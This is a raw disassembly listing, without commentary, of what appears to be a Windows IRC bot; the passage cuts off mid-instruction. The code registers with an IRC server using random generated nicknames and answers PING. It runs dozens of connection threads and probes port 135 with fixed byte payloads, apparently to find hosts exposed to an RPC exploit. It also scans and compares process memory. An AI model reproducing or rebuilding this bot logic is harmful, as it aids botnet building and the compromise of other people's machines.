loc_4178AC mov edi, dword_427154 loc_41780E: ; CODE XREF: sub_4177C3+E3j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] nop call near ptr 27C0B76h test eax, eax jz short loc_41789A mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_4178A0 test [ebp+var_13], 1 jnz short loc_4178A0 push ecx push 8 call edi push eax call near ptr 27C0000h nop mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] call near ptr 27C0E5Bh nop test eax, eax jz short loc_41788C push offset dword_4D3840 push esi call sub_4263E5 pop ecx test eax, eax pop ecx jnz short loc_41788C lea eax, [esi+400h] push offset dword_4D4040 push eax call sub_4263E5 pop ecx test eax, eax pop ecx jz short loc_4178BC loc_41788C: ; CODE XREF: sub_4177C3+9Fj ; sub_4177C3+B0j push esi push 0 call edi push eax nop call near ptr 27B0000h jmp short loc_4178A0 ; --------------------------------------------------------------------------- loc_41789A: ; CODE XREF: sub_4177C3+5Dj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_4178A0: ; CODE XREF: sub_4177C3+71j ; sub_4177C3+77j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_41780E loc_4178AC: ; CODE XREF: sub_4177C3+3Fj push [ebp+arg_0] nop call near ptr 2660830h loc_4178B5: ; CODE XREF: sub_4177C3+1Ej xor eax, eax loc_4178B7: ; CODE XREF: sub_4177C3+134j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4178BC: ; CODE XREF: sub_4177C3+C7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_4D4A5C, ebx mov dword_4D4A60, eax cmp [eax], cl jnz short loc_4178DE cmp [eax+1], cl jz short loc_4178E6 loc_4178DE: ; CODE XREF: sub_4177C3+114j ; sub_4177C3+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_4178DE loc_4178E6: ; CODE XREF: sub_4177C3+119j mov eax, [ebp+arg_4] push [ebp+arg_0] mov [eax], ecx nop call near ptr 2660830h push 1 pop eax jmp short loc_4178B7 sub_4177C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4178F9 proc near ; CODE XREF: sub_4172C1+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4D4A58 push esi mov esi, dword_427154 push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi push eax nop call near ptr 27C0000h mov ecx, dword_4D4A58 mov [ebp+var_4], eax add ecx, ecx push ecx push dword_4D4A60 push eax call sub_41CD20 add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr dword_4D4A64 push eax call dword_4D4844 push [ebp+var_4] mov edi, offset dword_4D4850 push offset dword_4D3840 push offset dword_4D4040 push [ebp+arg_0] push offset dword_4386D4 push 200h push edi call sub_41C360 add esp, 1Ch push [ebp+var_4] push 0 call esi push eax nop call near ptr 27B0000h mov eax, edi pop edi pop esi leave retn sub_4178F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417990 proc near ; CODE XREF: sub_4172C1:loc_4173FDp var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_4D4A58 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 nop call near ptr 27C0AEFh push eax nop call near ptr 27C0000h and [ebp+var_C], 0 mov [ebp+var_14], eax mov ebx, offset dword_4D4040 mov edi, 200h mov esi, offset dword_4D3640 loc_4179D6: ; CODE XREF: sub_417990+FAj mov eax, dword_4D4A58 add eax, eax push eax push dword_4D4A60 push [ebp+var_14] call sub_41CD20 add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_4D4844 mov eax, dword_4D4A58 and [ebp+var_10], 0 mov ecx, [ebp+var_14] mov [ebp+var_8], 1 test eax, eax jbe short loc_417A4B loc_417A13: ; CODE XREF: sub_417990+B3j cmp [ebp+var_8], 0 jz short loc_417A68 mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_417A37 cmp byte ptr [ecx+1], 0 jnz short loc_417A37 cmp dl, 20h jnb short loc_417A31 and [ebp+var_8], 0 loc_417A31: ; CODE XREF: sub_417990+9Bj cmp [ebp+var_1], 7Eh jbe short loc_417A3B loc_417A37: ; CODE XREF: sub_417990+90j ; sub_417990+96j and [ebp+var_8], 0 loc_417A3B: ; CODE XREF: sub_417990+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_417A13 cmp [ebp+var_8], 0 jz short loc_417A68 loc_417A4B: ; CODE XREF: sub_417990+81j push [ebp+var_14] push offset dword_4D3840 push ebx push [ebp+arg_0] push offset dword_4386D4 push edi push esi call sub_41C360 add esp, 1Ch jmp short loc_417A80 ; --------------------------------------------------------------------------- loc_417A68: ; CODE XREF: sub_417990+87j ; sub_417990+B9j push offset dword_4D3840 push ebx push [ebp+arg_0] push offset dword_438724 push edi push esi call sub_41C360 add esp, 18h loc_417A80: ; CODE XREF: sub_417990+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_4179D6 push [ebp+var_14] push 0 nop call near ptr 27C0AEFh push eax nop call near ptr 27B0000h mov eax, esi pop edi pop esi pop ebx leave retn sub_417990 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417AA9 proc near ; CODE XREF: sub_417C61+2Fp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CBA64 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_417B25 push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CB9E4 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CBA24 cmp eax, esi jnz short loc_417B0A push [ebp+arg_0] call dword_4CBA68 test eax, eax jz short loc_417B25 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_417B0A: ; CODE XREF: sub_417AA9+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CB98C cmp eax, esi jnz short loc_417B29 push edi call dword_4CBA7C loc_417B25: ; CODE XREF: sub_417AA9+1Bj ; sub_417AA9+58j mov eax, esi jmp short loc_417B2B ; --------------------------------------------------------------------------- loc_417B29: ; CODE XREF: sub_417AA9+73j mov eax, edi loc_417B2B: ; CODE XREF: sub_417AA9+7Ej pop edi pop esi leave retn sub_417AA9 endp ; =============== S U B R O U T I N E ======================================= sub_417B2F proc near ; CODE XREF: sub_401ACD+324Cp ; sub_401ACD+32B6p ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push offset asc_42A084 ; "\n" push edi call sub_41C8A0 pop ecx mov esi, offset dword_4D4A6C pop ecx loc_417B47: ; CODE XREF: sub_417B2F+42j cmp dword ptr [esi-4], 1 jnz short loc_417B65 cmp dword ptr [esi], 0 jbe short loc_417B65 push 0 push edi call sub_41B9C0 pop ecx push eax push edi push dword ptr [esi] call dword_4CBA34 loc_417B65: ; CODE XREF: sub_417B2F+1Cj ; sub_417B2F+21j add esi, 210h cmp esi, offset dword_4DB18C jl short loc_417B47 pop edi pop esi retn sub_417B2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417B76 proc near ; CODE XREF: sub_417C61+155p var_420 = byte ptr -420h var_220 = byte ptr -220h var_20 = dword ptr -20h var_1C = dword ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 420h push ebx push esi mov esi, offset asc_42CDD0 ; " " push edi push esi push [ebp+arg_0] call sub_41CAD4 pop ecx mov [ebp+var_20], eax pop ecx lea edi, [ebp+var_1C] push 7 pop ebx loc_417B9B: ; CODE XREF: sub_417B76+35j push esi push 0 call sub_41CAD4 mov [edi], eax pop ecx add edi, 4 dec ebx pop ecx jnz short loc_417B9B mov esi, [ebp+var_1C] xor edi, edi cmp [ebp+var_20], edi jnz short loc_417BC3 cmp esi, edi jnz short loc_417BC3 push 1 pop eax jmp loc_417C5C ; --------------------------------------------------------------------------- loc_417BC3: ; CODE XREF: sub_417B76+3Fj ; sub_417B76+43j push [ebp+var_20] push offset aPing ; "PING" call sub_41CA50 pop ecx pop ecx test eax, eax push esi jnz short loc_417BDE push offset dword_439338 jmp short loc_417C2C ; --------------------------------------------------------------------------- loc_417BDE: ; CODE XREF: sub_417B76+5Fj push offset a433 ; "433" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_417BFF push esi push offset dword_439334 call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_417C5A loc_417BFF: ; CODE XREF: sub_417B76+76j push 200h lea eax, [ebp+var_420] push edi push eax call sub_41BF70 lea eax, [ebp+var_420] push eax call sub_417E84 add esp, 10h lea eax, [ebp+var_420] push eax push offset dword_439328 loc_417C2C: ; CODE XREF: sub_417B76+66j lea eax, [ebp+var_220] push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_220] push edi push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_220] push eax push [ebp+arg_4] call dword_4CBA34 loc_417C5A: ; CODE XREF: sub_417B76+87j xor eax, eax loc_417C5C: ; CODE XREF: sub_417B76+48j pop edi pop esi pop ebx leave retn sub_417B76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417C61 proc near ; DATA XREF: sub_417E06+61o var_4008 = byte ptr -4008h var_3008 = byte ptr -3008h var_2008 = byte ptr -2008h var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 4008h call sub_41C500 push ebx push esi mov esi, [ebp+arg_0] push edi imul esi, 210h push 1 pop edi lea eax, dword_4D4A74[esi] mov dword_4D4A68[esi], edi push dword_4D4C74[esi] push eax call sub_417AA9 pop ecx xor ebx, ebx cmp eax, edi pop ecx mov dword_4D4A6C[esi], eax jb loc_417DE6 mov edi, 1000h lea eax, [ebp+var_2008] push edi push ebx push eax call sub_41BF70 lea eax, [ebp+var_2008] push eax call sub_417E84 lea eax, [ebp+var_4008] push eax call sub_417E84 lea eax, [ebp+var_3008] push eax call sub_417E84 add esp, 18h lea eax, [ebp+var_3008] push eax lea eax, [ebp+var_4008] push eax lea eax, [ebp+var_2008] push eax lea eax, [ebp+var_1008] push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."... push eax call sub_41C266 add esp, 14h lea eax, [ebp+var_1008] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_4D4A6C[esi] call dword_4CBA34 push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41BF70 add esp, 0Ch loc_417D3D: ; CODE XREF: sub_417C61+111j ; sub_417C61+180j push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_1008] push ebx push edi push eax push dword_4D4A6C[esi] call dword_4CB9FC cmp eax, ebx mov [ebp+var_8], eax jle short loc_417DE6 xor eax, eax cmp [ebp+var_8], ebx mov [ebp+var_4], eax jz short loc_417D3D loc_417D74: ; CODE XREF: sub_417C61+17Ej mov al, [ebp+eax+var_1008] cmp al, 0Dh jz short loc_417D9B cmp al, 0Ah jz short loc_417D9B cmp [ebp+arg_0], 0FA0h jz short loc_417D9B mov ecx, [ebp+arg_0] inc [ebp+arg_0] mov [ebp+ecx+var_2008], al jmp short loc_417DD5 ; --------------------------------------------------------------------------- loc_417D9B: ; CODE XREF: sub_417C61+11Cj ; sub_417C61+120j ... mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_417DD5 push dword_4D4A6C[esi] mov [ebp+eax+var_2008], bl lea eax, [ebp+var_2008] push eax call sub_417B76 pop ecx test eax, eax pop ecx ja short loc_417DE6 push edi lea eax, [ebp+var_2008] push ebx push eax call sub_41BF70 add esp, 0Ch mov [ebp+arg_0], ebx loc_417DD5: ; CODE XREF: sub_417C61+138j ; sub_417C61+13Fj mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_8] mov [ebp+var_4], eax jnz short loc_417D74 jmp loc_417D3D ; --------------------------------------------------------------------------- loc_417DE6: ; CODE XREF: sub_417C61+40j ; sub_417C61+107j ... mov dword_4D4A68[esi], ebx mov esi, dword_4D4A6C[esi] cmp esi, ebx jbe short loc_417DFD push esi call dword_4CBA7C loc_417DFD: ; CODE XREF: sub_417C61+193j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_417C61 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417E06 proc near ; CODE XREF: sub_401ACD+319Bp var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+arg_8], ebx push esi push edi mov [ebp+var_4], ebx jle short loc_417E7F loc_417E18: ; CODE XREF: sub_417E06+77j xor edi, edi mov eax, offset dword_4D4A68 loc_417E1F: ; CODE XREF: sub_417E06+28j cmp [eax], ebx jz short loc_417E30 add eax, 210h inc edi cmp eax, offset dword_4DB188 jl short loc_417E1F loc_417E30: ; CODE XREF: sub_417E06+1Bj cmp edi, 31h jz short loc_417E7F mov esi, edi push [ebp+arg_0] imul esi, 210h lea eax, dword_4D4A74[esi] push eax call sub_41C890 mov eax, [ebp+arg_4] pop ecx mov dword_4D4C74[esi], eax pop ecx lea eax, [ebp+var_8] mov dword_4D4A68[esi], 1 push eax push ebx push edi push offset sub_417C61 push ebx push ebx nop call near ptr 2680000h inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jl short loc_417E18 loc_417E7F: ; CODE XREF: sub_417E06+10j ; sub_417E06+2Dj pop edi pop esi pop ebx leave retn sub_417E06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417E84 proc near ; CODE XREF: sub_401ACD+36FDp ; sub_401ACD+3747p ... var_40 = byte ptr -40h var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_18 = qword ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push 14h lea eax, [ebp+var_2C] push 0 push eax call sub_41BF70 add esp, 0Ch call sub_41C2C2 mov [ebp+var_C], eax fild [ebp+var_C] fmul dbl_4276D8 call sub_41D174 cmp eax, 1 jnz short loc_417ECE call sub_41C2C2 call sub_41C2C2 push 66h cdq pop ecx idiv ecx push off_438A78[edx*4] jmp short loc_417EE7 ; --------------------------------------------------------------------------- loc_417ECE: ; CODE XREF: sub_417E84+2Fj call sub_41C2C2 call sub_41C2C2 cdq mov ecx, 0C0h idiv ecx push off_438778[edx*4] loc_417EE7: ; CODE XREF: sub_417E84+48j lea eax, [ebp+var_2C] push eax call sub_41C890 pop ecx lea eax, [ebp+var_2C] pop ecx push ebx push esi push edi push eax call sub_41B9C0 pop ecx mov esi, eax push 13h mov [ebp+var_4], esi pop eax sub eax, esi mov [ebp+var_C], eax call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 call sub_41D174 mov ebx, eax call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276C8 call sub_41D174 cmp esi, 2 mov edi, offset a__0 ; "-|`_\\{[]}" jle short loc_417F5A cmp esi, 3 jnz short loc_417F51 cmp ebx, 1 jz short loc_417F5A loc_417F51: ; CODE XREF: sub_417E84+C6j cmp eax, 1 jnz loc_418014 loc_417F5A: ; CODE XREF: sub_417E84+C1j ; sub_417E84+CBj call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C0 call sub_41D174 push off_438A78[eax*4] lea eax, [ebp+var_40] push eax call sub_41C890 movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax push edi call sub_41C990 add esp, 10h test eax, eax jnz short loc_418001 movsx eax, [ebp+var_40] push eax push edi call sub_41C990 pop ecx test eax, eax pop ecx jnz short loc_418001 call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax dec esi fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], esi fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276C8 call sub_41D174 cmp eax, 1 jnz short loc_418001 push edi call sub_41B9C0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-8] call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-8] fmul dbl_4276C8 call sub_41D174 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al loc_418001: ; CODE XREF: sub_417E84+111j ; sub_417E84+122j ... push [ebp+var_C] lea eax, [ebp+var_40] push eax lea eax, [ebp+var_2C] push eax call sub_41CBC0 add esp, 0Ch loc_418014: ; CODE XREF: sub_417E84+D0j lea eax, [ebp+var_2C] push eax call sub_41B9C0 mov esi, eax movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax mov [ebp+var_4], esi call sub_41DEE8 pop ecx test eax, eax pop ecx jnz loc_41827C and [ebp+var_C], eax movsx eax, byte ptr [ebx-1] push eax push edi call sub_41C990 pop ecx test eax, eax pop ecx jnz loc_418173 call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax lea eax, [esi+3] fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276C8 call sub_41D174 cmp esi, 3 jz short loc_418082 cmp eax, 1 jnz loc_418173 loc_418082: ; CODE XREF: sub_417E84+1F3j push 2 cdq pop ecx idiv ecx cmp edx, 1 jnz short loc_4180C4 push edi call sub_41B9C0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276C8 call sub_41D174 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al jmp short loc_4180E0 ; --------------------------------------------------------------------------- loc_4180C4: ; CODE XREF: sub_417E84+207j call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B8 call sub_41D174 mov cl, 41h sub cl, al mov [ebx], cl loc_4180E0: ; CODE XREF: sub_417E84+23Ej push 1 inc esi pop ebx mov [ebp+var_4], esi mov [ebp+var_C], ebx call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B0 call sub_41D174 cmp esi, 3 jz short loc_418109 cmp eax, ebx jnz short loc_418173 loc_418109: ; CODE XREF: sub_417E84+27Fj push 2 pop ebx cdq mov ecx, ebx idiv ecx test edx, edx jnz short loc_41814E push edi call sub_41B9C0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276C8 call sub_41D174 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebp+esi+var_2C], al jmp short loc_41816C ; --------------------------------------------------------------------------- loc_41814E: ; CODE XREF: sub_417E84+28Fj call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B8 call sub_41D174 mov cl, 41h sub cl, al mov [ebp+esi+var_2C], cl loc_41816C: ; CODE XREF: sub_417E84+2C8j inc esi mov [ebp+var_C], ebx mov [ebp+var_4], esi loc_418173: ; CODE XREF: sub_417E84+1C9j ; sub_417E84+1F8j ... cmp esi, 6 jge loc_4181FC cmp esi, 5 jge short loc_418194 call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 jmp short loc_4181B2 ; --------------------------------------------------------------------------- loc_418194: ; CODE XREF: sub_417E84+2FBj call sub_41C2C2 push 8 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276C8 loc_4181B2: ; CODE XREF: sub_417E84+30Ej call sub_41D174 test eax, eax jnz short loc_4181D5 call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276A8 call sub_41D174 mov cl, 30h jmp short loc_4181F2 ; --------------------------------------------------------------------------- loc_4181D5: ; CODE XREF: sub_417E84+335j cmp eax, 1 jnz short loc_4181FC call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B8 call sub_41D174 mov cl, 41h loc_4181F2: ; CODE XREF: sub_417E84+34Fj sub cl, al mov [ebp+esi+var_2C], cl inc esi mov [ebp+var_4], esi loc_4181FC: ; CODE XREF: sub_417E84+2F2j ; sub_417E84+354j cmp [ebp+var_C], 2 jge short loc_41827C call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276C8 call sub_41D174 cmp eax, 1 jnz short loc_41827C call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276A8 call sub_41D174 mov cl, 30h sub cl, al mov [ebp+esi+var_2C], cl call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276A0 call sub_41D174 cmp eax, 1 jnz short loc_41827C cmp [ebp+var_C], eax jge short loc_41827C call sub_41C2C2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_427698 call sub_41D174 mov cl, 30h sub cl, al mov [ebp+esi+var_2B], cl loc_41827C: ; CODE XREF: sub_417E84+1B1j ; sub_417E84+37Cj ... lea eax, [ebp+var_2C] push 14h push eax push [ebp+arg_0] call sub_41BFD0 mov eax, [ebp+arg_0] add esp, 0Ch pop edi pop esi pop ebx leave retn sub_417E84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418295 proc near ; CODE XREF: sub_4182CD+125p ; sub_4182CD+14Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+arg_C] test edi, edi jle short loc_4182C3 loc_4182A6: ; CODE XREF: sub_418295+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, esi push [ebp+arg_8] push eax call sub_41DF40 add esp, 0Ch test eax, eax jz short loc_4182C9 inc esi cmp esi, edi jl short loc_4182A6 loc_4182C3: ; CODE XREF: sub_418295+Fj xor al, al loc_4182C5: ; CODE XREF: sub_418295+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_4182C9: ; CODE XREF: sub_418295+27j mov al, 1 jmp short loc_4182C5 sub_418295 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4182CD proc near ; CODE XREF: ___:0040DFD7p ; ___:0040E0C0p var_2010 = byte ptr -2010h var_200E = byte ptr -200Eh var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call sub_41C500 mov eax, [ebp+arg_4] push esi dec eax push edi jz short loc_41830E dec eax jz short loc_4182EC dec eax loc_4182E6: ; CODE XREF: sub_4182CD+57j xor eax, eax loc_4182E8: ; CODE XREF: sub_4182CD+3Fj ; sub_4182CD+169j pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_4182EC: ; CODE XREF: sub_4182CD+16j push 3 push 1388h push [ebp+arg_0] call dword_4CBA24 push eax call sub_40C34B add esp, 0Ch neg eax sbb eax, eax and eax, 3 jmp short loc_4182E8 ; --------------------------------------------------------------------------- loc_41830E: ; CODE XREF: sub_4182CD+13j push 6 push 1 push 2 call dword_4CBA64 mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+arg_4], esi jz short loc_4182E6 push ebx xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_10], 2 push 87h call dword_4CB9E4 push [ebp+arg_0] mov [ebp+var_E], ax call sub_40A8F0 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push esi call dword_4CB98C cmp eax, edi jz loc_41842A push ebx push 48h push offset dword_439380 push esi call dword_4CBA34 cmp eax, edi jz loc_41842A mov esi, 2000h push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_4CB9FC cmp eax, edi jz loc_41842A cmp [ebp+var_200E], 0Ch jnz short loc_41842A push ebx push 18h push offset dword_4393CC push [ebp+arg_4] call dword_4CBA34 cmp eax, edi jz short loc_41842A push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_4CB9FC mov esi, eax cmp esi, edi jz short loc_41842A cmp [ebp+var_200E], 2 jnz short loc_41842A push 10h push offset loc_4393E8 lea eax, [ebp+var_2010] push esi push eax call sub_418295 add esp, 10h test al, al jz short loc_41840A cmp esi, 12Ch setnl bl inc ebx jmp short loc_41842A ; --------------------------------------------------------------------------- loc_41840A: ; CODE XREF: sub_4182CD+12Fj push 10h push offset dword_4393FC lea eax, [ebp+var_2010] push esi push eax call sub_418295 add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_41842A: ; CODE XREF: sub_4182CD+9Bj ; sub_4182CD+B2j ... push [ebp+arg_4] call dword_4CBA7C mov eax, ebx pop ebx jmp loc_4182E8 sub_4182CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41843B proc near ; CODE XREF: sub_401ACD+BD0p ; sub_401ACD+C0Dp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_4184C6 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_4184C6 cmp [ebp+arg_8], esi jz short loc_4184C6 cmp byte ptr [eax], 0 jz short loc_4184C6 push ebx push edi call sub_426465 mov ebx, eax pop ecx test ebx, ebx jz short loc_4184C1 push [ebp+arg_4] push edi call sub_41C2E0 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4184BA sub eax, edi push eax push edi push ebx call sub_41BFD0 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_41B9C0 push eax push [ebp+arg_8] push ebx call sub_41CBC0 push [ebp+arg_4] call sub_41B9C0 add eax, esi push eax push ebx call sub_41C8A0 push ebx push edi call sub_41C890 add esp, 30h mov esi, edi loc_4184BA: ; CODE XREF: sub_41843B+3Cj push ebx call sub_41BA91 pop ecx loc_4184C1: ; CODE XREF: sub_41843B+2Bj mov eax, esi pop ebx jmp short loc_4184C8 ; --------------------------------------------------------------------------- loc_4184C6: ; CODE XREF: sub_41843B+Cj ; sub_41843B+13j ... xor eax, eax loc_4184C8: ; CODE XREF: sub_41843B+89j pop edi pop esi pop ebp retn sub_41843B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4184CC proc near ; CODE XREF: sub_401955+E9p ; ___:00410CF1p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_41BF70 mov esi, [ebp+arg_0] push esi call sub_41B9C0 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_418502 or eax, 0FFFFFFFFh jmp short loc_418575 ; --------------------------------------------------------------------------- loc_418502: ; CODE XREF: sub_4184CC+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_418524 loc_41850E: ; CODE XREF: sub_4184CC+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_41851B cmp dl, 0Dh jnz short loc_41851F loc_41851B: ; CODE XREF: sub_4184CC+48j and byte ptr [ecx+esi], 0 loc_41851F: ; CODE XREF: sub_4184CC+4Dj inc ecx cmp ecx, eax jl short loc_41850E loc_418524: ; CODE XREF: sub_4184CC+40j xor edx, edx push edi test eax, eax jle short loc_418555 lea edi, [ebp+var_7CC] loc_418531: ; CODE XREF: sub_4184CC+87j cmp byte ptr [edx+esi], 0 jnz short loc_418550 cmp 